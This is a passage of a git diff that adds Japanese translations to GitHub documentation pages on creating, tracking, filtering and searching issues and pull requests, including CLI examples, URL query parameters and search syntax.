+Issueは様々な方法で作成できるので、ワークフローで最も便利な方法を選択できます。 Issueの作成は、たとえばリポジトリから、{% ifversion fpt or ghec %}タスクリストのアイテムから、{% endif %}プロジェクトのノート、IssueあるいはPull Requestのコメント、コードの特定の行、URLクエリから作成できます。 Issueは、Web UI、{% data variables.product.prodname_desktop %}、{% data variables.product.prodname_cli %}、GraphQL及びREST API、{% data variables.product.prodname_mobile %}といった好きなプラットフォームから作成することもできます。 詳しい情報については、「[Issue を作成する](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)」を参照してください。
 
-You can organize and prioritize issues with projects. {% ifversion fpt or ghec %}To track issues as part of a larger issue, you can use task lists.{% endif %} To categorize related issues, you can use labels and milestones.
+## 作業の追跡
 
-For more information about projects, see {% ifversion fpt or ghec %}"[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" and {% endif %}"[Organizing your work with project boards](/issues/organizing-your-work-with-project-boards)." {% ifversion fpt or ghec %}For more information about task lists, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)." {% endif %}For more information about labels and milestones, see "[Using labels and milestones to track work](/issues/using-labels-and-milestones-to-track-work)."
+プロジェクトで、Issueを整理して優先順位付けできます。 {% ifversion fpt or ghec %}大きなIssueの一部であるIssueを追跡するには、タスクリストが使えます。{% endif %}関連するIssueを分類するには、ラベルとマイルストーンが使えます。
 
-## Stay up to date
+プロジェクトに関する詳しい情報については{% ifversion fpt or ghec %}「[プロジェクト（ベータ）について](/issues/trying-out-the-new-projects-experience/about-projects)」及び{% endif %}「[プロジェクトボードでの作業の整理](/issues/organizing-your-work-with-project-boards)」を参照してください。 {% ifversion fpt or ghec %}タスクリストに関する詳しい情報については「[タスクリストについて](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)」を参照してください。 {% endif %}ラベルとマイルストーンに関する詳しい情報については「[作業を追跡するためのラベルとマイルストーンの利用](/issues/using-labels-and-milestones-to-track-work)」を参照してください。
 
-To stay updated on the most recent comments in an issue, you can subscribe to an issue to receive notifications about the latest comments. To quickly find links to recently updated issues you're subscribed to, visit your dashboard. For more information, see {% ifversion fpt or ghes or ghae or ghec %}"[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications){% else %}"[About notifications](/github/receiving-notifications-about-activity-on-github/about-notifications){% endif %}" and "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+## 最新情報の確認
 
-## Community management
+Issueの最新のコメントの情報を得ておきたい場合には、Issueをサブスクライブして最新のコメントに関する通知を受け取ることができます。 サブスクライブした Issue の最新の更新へのリンクを素早く見つけるには、ダッシュボードにアクセスしてください。 詳しい情報については{% ifversion fpt or ghes or ghae or ghec %}「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications)」{% else %}「[通知について](/github/receiving-notifications-about-activity-on-github/about-notifications)」{% endif %}及び「[個人ダッシュボードについて](/articles/about-your-personal-dashboard)」を参照してください。
 
-To help contributors open meaningful issues that provide the information that you need, you can use {% ifversion fpt or ghec %}issue forms and {% endif %}issue templates. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+## コミュニティの管理
 
-{% ifversion fpt or ghec %}To maintain a healthy community, you can report comments that violate {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). For more information, see "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)."{% endif %}
+必要な情報を提供する、意味のあるIssueをコントリビューターがオープンするのを支援するために、{% ifversion fpt or ghec %}Issueフォームと{% endif %}Issueテンプレートが利用できます。 詳しい情報については「[有益なIssueとPull Requestを促進するためのテンプレートの利用](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)」を参照してください。
 
-## Efficient communication
+{% ifversion fpt or ghec %}コミュニティを健全に保つために、{% data variables.product.prodname_dotcom %}の[コミュニティガイドライン](/free-pro-team@latest/github/site-policy/github-community-guidelines)に違反するコメントを報告できます。 詳細は「[乱用やスパムをレポートする](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)」を参照してください。{% endif %}
 
-You can @mention collaborators who have access to your repository in an issue to draw their attention to a comment. To link related issues in the same repository, you can type `#` followed by part of the issue title and then clicking the issue that you want to link. To communicate responsibility, you can assign issues. If you find yourself frequently typing the same comment, you can use saved replies.
-{% ifversion fpt or ghec %} For more information, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)" and "[Assigning issues and pull requests to other GitHub users](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users)."
+## 効率的なコミュニケーション
 
-## Comparing issues and discussions
+コメントに注意してもらうために、Issue内でリポジトリにアクセスできるコラボレータを@メンションできます。 同じリポジトリ内の関連するIssueをリンクするために、`#`につづいてIssueのタイトルの一部を続け、リンクしたいIssueをクリックできます。 責任を伝えるために、Issueを割り当てることができます。 同じコメントを頻繁に入力しているなら、返信テンプレートを利用できます。
+{% ifversion fpt or ghec %}詳しい情報については「[基本的な記述とフォーマットの構文](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)」及び「[他のGitHubユーザへのIssueやPull Requestの割り当て](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users)」を参照してください。
 
-Some conversations are more suitable for {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} For guidance on when to use an issue or a discussion, see "[Communicating on GitHub](/github/getting-started-with-github/quickstart/communicating-on-github)."
+## Issueとディスカッションの比較
 
-When a conversation in an issue is better suited for a discussion, you can convert the issue to a discussion.
+Some conversations are more suitable for {% data variables.product.prodname_discussions %}. {% data reusables.discussions.you-can-use-discussions %} Issueあるいはディスカッションを使う場合のガイダンスについては「[GitHubでのコミュニケーション](/github/getting-started-with-github/quickstart/communicating-on-github)」を参照してください。
+
+Issue内での会話にディスカッションの方が適している場合は、Issueをディスカッションに変換できます。
 {% endif %}
diff --git a/translations/ja-JP/content/issues/tracking-your-work-with-issues/creating-an-issue.md b/translations/ja-JP/content/issues/tracking-your-work-with-issues/creating-an-issue.md
index d4ad5f88ae..6340d8fc1d 100644
--- a/translations/ja-JP/content/issues/tracking-your-work-with-issues/creating-an-issue.md
+++ b/translations/ja-JP/content/issues/tracking-your-work-with-issues/creating-an-issue.md
@@ -1,6 +1,6 @@
 ---
-title: Creating an issue
-intro: 'Issues can be created in a variety of ways, so you can choose the most convenient method for your workflow.'
+title: Issue の作成
+intro: Issueは様々な方法で作成できるので、ワークフローで最も便利な方法を選択できます。
 permissions: 'People with read access can create an issue in a repository where issues are enabled. {% data reusables.enterprise-accounts.emu-permission-repo %}'
 redirect_from:
   - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/creating-an-issue
@@ -27,23 +27,20 @@ topics:
   - Pull requests
   - Issues
   - Project management
-shortTitle: Create an issue
+shortTitle: Issueの作成
 type: how_to
 ---
 
-Issues can be used to keep track of bugs, enhancements, or other requests. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)."
+Issue は、バグ、拡張、その他リクエストの追跡に使用できます。 詳細は「[Issue について](/issues/tracking-your-work-with-issues/about-issues)」を参照してください。
 
 {% data reusables.repositories.administrators-can-disable-issues %}
 
-## Creating an issue from a repository
+## リポジトリからのIssueの作成
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issues %}
 {% data reusables.repositories.new_issue %}
-1. If your repository uses issue templates, click **Get started** next to the type of issue you'd like to open.
-  ![Select the type of issue you want to create](/assets/images/help/issues/issue_template_get_started_button.png)
-   Or, click **Open a blank issue** if the type of issue you'd like to open isn't included in the available options.
-  ![Link to open a blank issue](/assets/images/help/issues/blank_issue_link.png)
+1. リポジトリでIssueテンプレートが使われているなら、オープンしたいIssueの種類の隣にある**Get started（始める）**をクリックしてください。 ![Select the type of issue you want to create](/assets/images/help/issues/issue_template_get_started_button.png) あるいは、利用できる選択肢にオープンしたいIssueの種類が含まれていない場合は、**Open a blank issue（空のIssueをオープン）**をクリックしてください。 ![空白の Issue を開くリンク](/assets/images/help/issues/blank_issue_link.png)
 {% data reusables.repositories.type-issue-title-and-description %}
 {% data reusables.repositories.assign-an-issue-as-project-maintainer %}
 {% data reusables.repositories.submit-new-issue %}
@@ -64,37 +61,31 @@ You can also specify assignees, labels, milestones, and projects.
 gh issue create --title "My new issue" --body "Here are more details." --assignee @me,monalisa --label "bug,help wanted" --project onboarding --milestone "learning codebase"
 ```
 
-## Creating an issue from a comment
+## コメントからのIssueの作成
 
-You can open a new issue from a comment in an issue or pull request. When you open an issue from a comment, the issue contains a snippet showing where the comment was originally posted.
+IssueもしくはPull Requestのコメントから、新しいIssueをオープンできます。 コメントから開いたIssueには、コメントの元の投稿場所を示すスニペットが含まれています。
 
-1. Navigate to the comment that you would like to open an issue from.
-2. In that comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}.
-  ![Kebab button in pull request review comment](/assets/images/help/pull_requests/kebab-in-pull-request-review-comment.png)
-3. Click **Reference in new issue**.
-  ![Reference in new issue menu item](/assets/images/help/pull_requests/reference-in-new-issue.png)
-4. Use the "Repository" drop-down menu, and select the repository you want to open the issue in.
-  ![Repository dropdown for new issue](/assets/images/help/pull_requests/new-issue-repository.png)
-5. Type a descriptive title and body for the issue.
-  ![Title and body for new issue](/assets/images/help/pull_requests/new-issue-title-and-body.png)
-6. Click **Create issue**.
-  ![Button to create new issue](/assets/images/help/pull_requests/create-issue.png)
+1. Issueをオープンしたいコメントにアクセスしてください。
+2. そのコメントで、{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックします。 ![Pull Requestレビューコメントの三点ボタン](/assets/images/help/pull_requests/kebab-in-pull-request-review-comment.png)
+3. [**Reference in new issue**] をクリックします。 ![[Reference in new issue] メニュー項目](/assets/images/help/pull_requests/reference-in-new-issue.png)
+4. [Repository] ドロップダウンメニューで、開こうとするIssueがあるリポジトリを選択します。 ![新しいIssueの [Repository] ドロップダウン](/assets/images/help/pull_requests/new-issue-repository.png)
+5. Issueのわかりやすいタイトルと本文を入力します。 ![新しいIssueのタイトルと本文](/assets/images/help/pull_requests/new-issue-title-and-body.png)
+6. [**Create issue**] をクリックします。 ![新しいIssueを作成するボタン](/assets/images/help/pull_requests/create-issue.png)
 {% data reusables.repositories.assign-an-issue-as-project-maintainer %}
 {% data reusables.repositories.submit-new-issue %}
 
-## Creating an issue from code
+## コードからのIssueの作成
 
-You can open a new issue from a specific line or lines of code in a file or pull request. When you open an issue from code, the issue contains a snippet showing the line or range of code you chose. You can only open an issue in the same repository where the code is stored.
+コードの特定の行または複数の行から、ファイルまたはプルリクエストで Issue を開くことができます。 コードから Issue を開くと、Issue には選択した行またはコードの範囲を示すスニペットが含まれています。 Issue を開くことができるのは、コードを保存したのと同じリポジトリでだけです。
 
-![Code snippet rendered in an issue opened from code](/assets/images/help/repository/issue-opened-from-code.png)
+![コードから開いた Issue で表示されるコードスニペット](/assets/images/help/repository/issue-opened-from-code.png)
 
 {% data reusables.repositories.navigate-to-repo %}
-1. Locate the code you want to reference in an issue:
-    - To open an issue about code in a file, navigate to the file.
-    - To open an issue about code in a pull request, navigate to the pull request and click {% octicon "diff" aria-label="The file diff icon" %} **Files changed**. Then, browse to the file that contains the code you want included in your comment, and click **View**.
+1. Issue で参照したいコードを探します。
+    - ファイルのコードに関する Issue を開くには、そのファイルに移動します。
+    - プルリクエストのコードに関する Issue を開くには、そのプルリクエストに移動し、{% octicon "diff" aria-label="The file diff icon" %}[**Files changed**] をクリックします。 Then, browse to the file that contains the code you want included in your comment, and click **View**.
 {% data reusables.repositories.choose-line-or-range %}
-4. To the left of the code range, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %}. In the drop-down menu, click **Reference in new issue**.
-  ![Kebab menu with option to open a new issue from a selected line](/assets/images/help/repository/open-new-issue-specific-line.png)
+4. コード範囲の左で、{% octicon "kebab-horizontal" aria-label="The horizontal kebab octicon" %} をクリックします。 ドロップダウンメニューで、[**Reference in new issue**] をクリックします。 ![選択した行から新しいIssueを開くオプションのある三点メニュー](/assets/images/help/repository/open-new-issue-specific-line.png)
 {% data reusables.repositories.type-issue-title-and-description %}
 {% data reusables.repositories.assign-an-issue-as-project-maintainer %}
 {% data reusables.repositories.submit-new-issue %}
@@ -109,49 +100,48 @@ When you create an issue from a discussion, the contents of the discussion post
 
 {% data reusables.discussions.discussions-tab %}
 {% data reusables.discussions.click-discussion-in-list %}
-1. In the right sidebar, click {% octicon "issue-opened" aria-label="The issues icon" %} **Create issue from discussion**.
-   ![Button to create issue from discussion](/assets/images/help/discussions/create-issue-from-discussion.jpg)
+1. In the right sidebar, click {% octicon "issue-opened" aria-label="The issues icon" %} **Create issue from discussion**. ![Button to create issue from discussion](/assets/images/help/discussions/create-issue-from-discussion.jpg)
 {% data reusables.repositories.type-issue-title-and-description %}
 {% data reusables.repositories.assign-an-issue-as-project-maintainer %}
 {% data reusables.repositories.submit-new-issue %}
 
 {% endif %}
 
-## Creating an issue from a project board note
+## プロジェクトボードのノートからのIssueの作成
 
-If you're using a project board to track and prioritize your work, you can convert project board notes to issues. For more information, see "[About project boards](/github/managing-your-work-on-github/about-project-boards)" and "[Adding notes to a project board](/github/managing-your-work-on-github/adding-notes-to-a-project-board#converting-a-note-to-an-issue)."
+プロジェクトボードを使用して作業の追跡や優先順位付けをしている場合、プロジェクトボードの注釈を Issue に変換できます。 詳しい情報については、 「[プロジェクトボードについて](/github/managing-your-work-on-github/about-project-boards)」と「[プロジェクト ボードへのメモの追加](/github/managing-your-work-on-github/adding-notes-to-a-project-board#converting-a-note-to-an-issue)」を参照してください。
 
 {% ifversion fpt or ghec %}
 
-## Creating an issue from a task list item
+## タスクリストのアイテムからのIssueの作成
 
-Within an issue, you can use task lists to break work into smaller tasks and track the full set of work to completion. If a task requires further tracking or discussion, you can convert the task to an issue by hovering over the task and clicking {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see "[About task lists](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)."
+Issue内で、タスクリストを使って作業を小さなタスクに分割し、作業全体を完了するまで追跡できます。 さらなる追跡あるいはディスカッションがタスクに必要な場合、そのタスクにマウスを移動させ、タスクの右上の{% octicon "issue-opened" aria-label="The issue opened icon" %}をクリックし、Issueに変換できます。 詳しい情報については[タスクリストについて](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists)を参照してください。
 
 {% endif %}
 
-## Creating an issue from a URL query
+## URLクエリからのIssueの作成
 
-You can use query parameters to open issues. Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results or an issue template on {% data variables.product.prodname_dotcom %}. To create your own query parameters, you must match the key and value pair.
+Issueをオープンするのにクエリパラメータを利用できます。 クエリパラメータはカスタマイズ可能なURLのオプション部分で、{% data variables.product.prodname_dotcom %}上の検索フィルタの結果やIssueテンプレートといった特定のWebページビューを共有できます。 独自のクエリパラメータを作成するには、キーと値のペアをマッチさせなければなりません。
 
 {% tip %}
 
-**Tip:** You can also create issue templates that open with default labels, assignees, and an issue title. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+**ヒント:** デフォルトのラベル、割り当て、Issue のタイトルを持ってオープンされる Issue テンプレートを作成することもできます。 詳しい情報については「[有益なIssueとPull Requestを促進するためのテンプレートの利用](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)」を参照してください。
 
 {% endtip %}
 
-You must have the proper permissions for any action to use the equivalent query parameter. For example, you must have permission to add a label to an issue to use the `labels` query parameter. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+クエリパラメータを使うには、同等のアクションを行うための適切な権限を持っていなければなりません。 たとえばクエリパラメータの`labels`を使うには、Issueにラベルを追加する権限を持っていなければなりません。 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
 
-If you create an invalid URL using query parameters, or if you don’t have the proper permissions, the URL will return a `404 Not Found` error page. If you create a URL that exceeds the server limit, the URL will return a `414 URI Too Long` error page.
+クエリパラメータを使うのに不正なURLを作成したり、適切な権限を持っていなかったりした場合には、そのURLに対して`404 Not Found`エラーページが返されます。 サーバーの限度を超えるURLを作成すると、そのURLは`414 URI Too Long`エラーページを返します。
 
-Query parameter | Example
----  | ---
-`title` | `https://github.com/octo-org/octo-repo/issues/new?labels=bug&title=New+bug+report` creates an issue with the label "bug" and title "New bug report."
-`body` | `https://github.com/octo-org/octo-repo/issues/new?title=New+bug+report&body=Describe+the+problem.` creates an issue with the title "New bug report" and the comment "Describe the problem" in the issue body.
-`labels` | `https://github.com/octo-org/octo-repo/issues/new?labels=help+wanted,bug` creates an issue with the labels "help wanted" and "bug".
-`milestone` | `https://github.com/octo-org/octo-repo/issues/new?milestone=testing+milestones` creates an issue with the milestone "testing milestones."
-`assignees` | `https://github.com/octo-org/octo-repo/issues/new?assignees=octocat` creates an issue and assigns it to @octocat.
-`projects` | `https://github.com/octo-org/octo-repo/issues/new?title=Bug+fix&projects=octo-org/1` creates an issue with the title "Bug fix" and adds it to the organization's project board 1.
-`template` | `https://github.com/octo-org/octo-repo/issues/new?template=issue_template.md` creates an issue with a template in the issue body. The `template` query parameter works with templates stored in an `ISSUE_TEMPLATE` subdirectory within the root, `docs/` or `.github/` directory in a repository. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+| クエリパラメータ    | サンプル                                                                                                                                                                                                                                                                                                                                                           |
+| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `title`     | `https://github.com/octo-org/octo-repo/issues/new?labels=bug&title=New+bug+report` は、"bug" というラベルと "New bug report" というタイトルを付けて Issue を作成します。                                                                                                                                                                                                              |
+| `body`      | `https://github.com/octo-org/octo-repo/issues/new?title=New+bug+report&body=Describe+the+problem.`は、"New bug report"というタイトルで、ボディに"Describe the problem"というコメントを持つIssueを作成します。                                                                                                                                                                              |
+| `labels`    | `https://github.com/octo-org/octo-repo/issues/new?labels=help+wanted,bug`は、"help wanted"及び"bug"というラベルを持つIssueを作成します。                                                                                                                                                                                                                                           |
+| `マイルストーン`   | `https://github.com/octo-org/octo-repo/issues/new?milestone=testing+milestones` は、"testing milestones" というマイルストーンを持たせて Issue を作成します。                                                                                                                                                                                                                           |
+| `assignees` | `https://github.com/octo-org/octo-repo/issues/new?assignees=octocat` は、Issue を作成して @octocat に割り当てます。                                                                                                                                                                                                                                                           |
+| `projects`  | `https://github.com/octo-org/octo-repo/issues/new?title=Bug+fix&projects=octo-org/1` は、"Bug fix" というタイトルを付けて Issue を作成し、それを Organization のプロジェクトボード 1 に追加します。                                                                                                                                                                                              |
+| `template`  | `https://github.com/octo-org/octo-repo/issues/new?template=issue_template.md` は、ボディにテンプレートを付けて Issue を作成します。 `template`クエリパラメータは、ルート内の`ISSUE_TEMPLATE`サブディレクトリ、リポジトリ内の`docs/`あるいは`.github/`ディレクトリに保存されたテンプレートで動作します。 詳しい情報については「[有益なIssueとPull Requestを促進するためのテンプレートの利用](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)」を参照してください。 |
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-5036 %}
 ## Creating an issue from a {% data variables.product.prodname_code_scanning %} alert
@@ -162,6 +152,6 @@ If you're using issues to track and prioritize your work, you can use issues to
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Writing on GitHub](/github/writing-on-github)"
+- [GitHubでの執筆](/github/writing-on-github)
diff --git a/translations/ja-JP/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md b/translations/ja-JP/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
index 2b2ad52ec4..34d5814a7b 100644
--- a/translations/ja-JP/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
+++ b/translations/ja-JP/content/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests.md
@@ -47,94 +47,87 @@ type: how_to
 
 {% data reusables.cli.filter-issues-and-pull-requests-tip %}
 
-## Filtering issues and pull requests 
+## Issue およびプルリクエストをフィルタリングする
 
-Issues and pull requests come with a set of default filters you can apply to organize your listings.
+Issue およびプルリクエストには、適用してリストを整理するためのデフォルトのフィルタが備わっています。
 
 {% data reusables.search.requested_reviews_search %}
 
-You can filter issues and pull requests to find:
-- All open issues and pull requests
-- Issues and pull requests that you've created
-- Issues and pull requests that are assigned to you
-- Issues and pull requests where you're [**@mentioned**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)
+Issue およびプルリクエストをフィルタリングして、以下を探すことができます:
+- すべてのオープンな Issue およびプルリクエスト
+- 自分で作成した Issue およびプルリクエスト
+- 自分に割り当てられた Issue およびプルリクエスト
+- 自分が [**@メンション**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)された Issue およびプルリクエスト
 
 {% data reusables.cli.filter-issues-and-pull-requests-tip %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-3. Click **Filters** to choose the type of filter you're interested in.
-  ![Using the Filters drop-down](/assets/images/help/issues/issues_filter_dropdown.png)
+3. [**Filters**] をクリックしてフィルタの種類を選びます。 ![[Filters] ドロップダウンメニューを使用する](/assets/images/help/issues/issues_filter_dropdown.png)
 
-## Filtering issues and pull requests by assignees
+## Issue およびプルリクエストをアサインされた人でフィルタリングする
 
 Once you've [assigned an issue or pull request to someone](/articles/assigning-issues-and-pull-requests-to-other-github-users), you can find items based on who's working on them.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
-3. In the upper-right corner, select the Assignee drop-down menu.
-4. The Assignee drop-down menu lists everyone who has write access to your repository. Click the name of the person whose assigned items you want to see, or click **Assigned to nobody** to see which issues are unassigned.
-![Using the Assignees drop-down tab](/assets/images/help/issues/issues_assignee_dropdown.png)
+3. 右上にある [Assignee] ドロップダウンメニューをクリックします。
+4. [Assignee] ドロップダウンメニューには、リポジトリへの書き込み権限のあるすべてのユーザがリストされます。 確認したい割り当てられた項目を持つユーザの名前をクリックするか、[**Assigned to nobody**] をクリックして未割り当ての Issue を表示します。 ![[Assignee] ドロップダウンメニューを使用する](/assets/images/help/issues/issues_assignee_dropdown.png)
 
 {% tip %}
 
-To clear your filter selection, click **Clear current search query, filters, and sorts**.
+フィルタの選択をクリアするには、[**Clear current search query, filters, and sorts**] をクリックします。
 
 {% endtip %}
 
-## Filtering issues and pull requests by labels
+## Issue およびプルリクエストをラベルでフィルタリングする
 
 Once you've [applied labels to an issue or pull request](/articles/applying-labels-to-issues-and-pull-requests), you can find items based on their labels.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-issue-pr %}
 {% data reusables.project-management.labels %}
-4. In the list of labels, click a label to see the issues and pull requests that it's been applied to.
-  ![List of a repository's labels](/assets/images/help/issues/labels-page.png)
+4. ラベルのリストでラベルをクリックして、割り当てられた Issue とプルリクエストを表示します。 ![リポジトリのラベルのリスト](/assets/images/help/issues/labels-page.png)
 
 {% tip %}
 
-**Tip:** To clear your filter selection, click **Clear current search query, filters, and sorts**.
+**ヒント:** フィルタの選択をクリアするには、[**Clear current search query, filters, and sorts**] をクリックします。
 
 {% endtip %}
 
-## Filtering pull requests by review status
+## プルリクエストをレビューステータスでフィルタリングする
 
-You can use filters to list pull requests by review status and to find pull requests that you've reviewed or other people have asked you to review.
+フィルタを使用して、レビューステータスでプルリクエストをフィルタリングしたり、自分でレビューしたプルリクエストや他のユーザにレビューするよう依頼されたプルリクエストを検索したりできます。
 
-You can filter a repository's list of pull requests to find:
-- Pull requests that haven't been [reviewed](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet
-- Pull requests that [require a review](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) before they can be merged
-- Pull requests that a reviewer has approved
-- Pull requests in which a reviewer has asked for changes
+プルリクエストのリポジトリのリストをフィルタリングして、次の検索を行えます:
+- まだ[レビュー](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)されていないプルリクエスト
+- マージの前に[レビューが必要](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)なプルリクエスト
+- レビュー担当者が承認したプルリクエスト
+- レビュー担当者が変更を求めているプルリクエスト
 - Pull requests that you have reviewed{% ifversion fpt or ghae or ghes > 3.2 or ghec %}
 - Pull requests that someone has asked you directly to review{% endif %}
-- Pull requests that [someone has asked you, or a team you're a member of, to review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)
+- [自分、または自分のチームに誰かがレビューを依頼](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)したプルリクエスト
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-3. In the upper-right corner, select the Reviews drop-down menu.
-  ![Reviews drop-down menu in the filter menu above the list of pull requests](/assets/images/help/pull_requests/reviews-filter-dropdown.png)
-4. Choose a filter to find all of the pull requests with that filter's status.
-  ![List of filters in the Reviews drop-down menu](/assets/images/help/pull_requests/pr-review-filters.png)
+3. 右上にある [Reviews] ドロップダウンメニューをクリックします。 ![プルリクエストのリストの上にあるフィルタメニュー内の [Reviews] ドロップダウンメニュー](/assets/images/help/pull_requests/reviews-filter-dropdown.png)
+4. フィルタを選択してます。そのフィルタのステータスのプルリクエストすべてが検索されます。 ![[Reviews] ドロップダウンメニュー内のフィルタのリスト](/assets/images/help/pull_requests/pr-review-filters.png)
 
-## Using search to filter issues and pull requests
+## 検索を使用して Issue およびプルリクエストをフィルタリングする
 
 You can use advanced filters to search for issues and pull requests that meet specific criteria.
 
 ### Searching for issues and pull requests
 
-{% include tool-switcher %}
-
 {% webui %}
 
-The issues and pull requests search bar allows you to define your own custom filters and sort by a wide variety of criteria. You can find the search bar on each repository's **Issues** and **Pull requests** tabs and on your [Issues and Pull requests dashboards](/articles/viewing-all-of-your-issues-and-pull-requests).
+Issue とプルリクエストの検索バーを使用すると、独自のカスタムフィルターを定義し、さまざまな基準で並べ替えることができます。 検索バーは、各リポジトリの [**Issues**] および [**Pull requests**] タブ、ならびに[Issues および Pull requests のダッシュボード](/articles/viewing-all-of-your-issues-and-pull-requests)にあります。
 
-![The issues and pull requests search bar](/assets/images/help/issues/issues_search_bar.png)
+![Issue およびプルリクエストの検索バー](/assets/images/help/issues/issues_search_bar.png)
 
 {% tip %}
 
-**Tip:** {% data reusables.search.search_issues_and_pull_requests_shortcut %}
+**ヒント:** {% data reusables.search.search_issues_and_pull_requests_shortcut %}
 
 {% endtip %}
 
@@ -162,76 +155,75 @@ gh pr list --search "team:octo-org/octo-team"
 
 ### About search terms
 
-With issue and pull request search terms, you can:
+Issue およびプルリクエストの検索用語により、次のことができます:
 
-- Filter issues and pull requests by author: `state:open type:issue author:octocat`
-- Filter issues and pull requests that involve, but don't necessarily [**@mention**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams), certain people: `state:open type:issue involves:octocat`
-- Filter issues and pull requests by assignee: `state:open type:issue assignee:octocat`
-- Filter issues and pull requests by label: `state:open type:issue label:"bug"`
-- Filter out search terms by using `-` before the term: `state:open type:issue -author:octocat`
+- 作者による Issue とプルリクエストのフィルタリング: `state:open type:issue author:octocat`
+- [特定の人に関連するが、必ずしも **@メンション**](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)ではない Issue とプルリクエストのフィルタリング: `state:open type:issue involves:octocat`
+- アサインされた人による Issues とプルリクエストのフィルタリング: `state:open type:issue assignee:octocat`
+- ラベルにより Issue とプルエストをフィルタリング: `state:open type:issue label:"bug"`
+- 次の用語の前に `-` を使用して検索用語を除外: `state:open type:issue -author:octocat`
 
 {% ifversion fpt or ghes > 3.2 or ghae or ghec %}
 {% tip %}
 
 **Tip:** You can filter issues and pull requests by label using logical OR or using logical AND.
-- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`. 
+- To filter issues using logical OR, use the comma syntax: `label:"bug","wip"`.
 - To filter issues using logical AND, use separate label filters: `label:"bug" label:"wip"`.
 
 {% endtip %}
 {% endif %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
-For issues, you can also use search to:
+Issueについては、以下も検索に利用できます。
 
-- Filter for issues that are linked to a pull request by a closing reference: `linked:pr`
+- クローズしているリファレンス`linked:pr`によってプルリクエストにリンクされているIssueのフィルタリング
 {% endif %}
 
-For pull requests, you can also use search to:
-- Filter [draft](/articles/about-pull-requests#draft-pull-requests) pull requests: `is:draft`
-- Filter pull requests that haven't been [reviewed](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) yet: `state:open type:pr review:none`
-- Filter pull requests that [require a review](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging) before they can be merged: `state:open type:pr review:required`
-- Filter pull requests that a reviewer has approved: `state:open type:pr review:approved`
-- Filter pull requests in which a reviewer has asked for changes: `state:open type:pr review:changes_requested`
-- Filter pull requests by [reviewer](/articles/about-pull-request-reviews/): `state:open type:pr reviewed-by:octocat`
+プルリクエストについては、検索を利用して以下の操作もできます。
+- [ドラフト](/articles/about-pull-requests#draft-pull-requests)プルリクエストのフィルタリング: `is:draft`
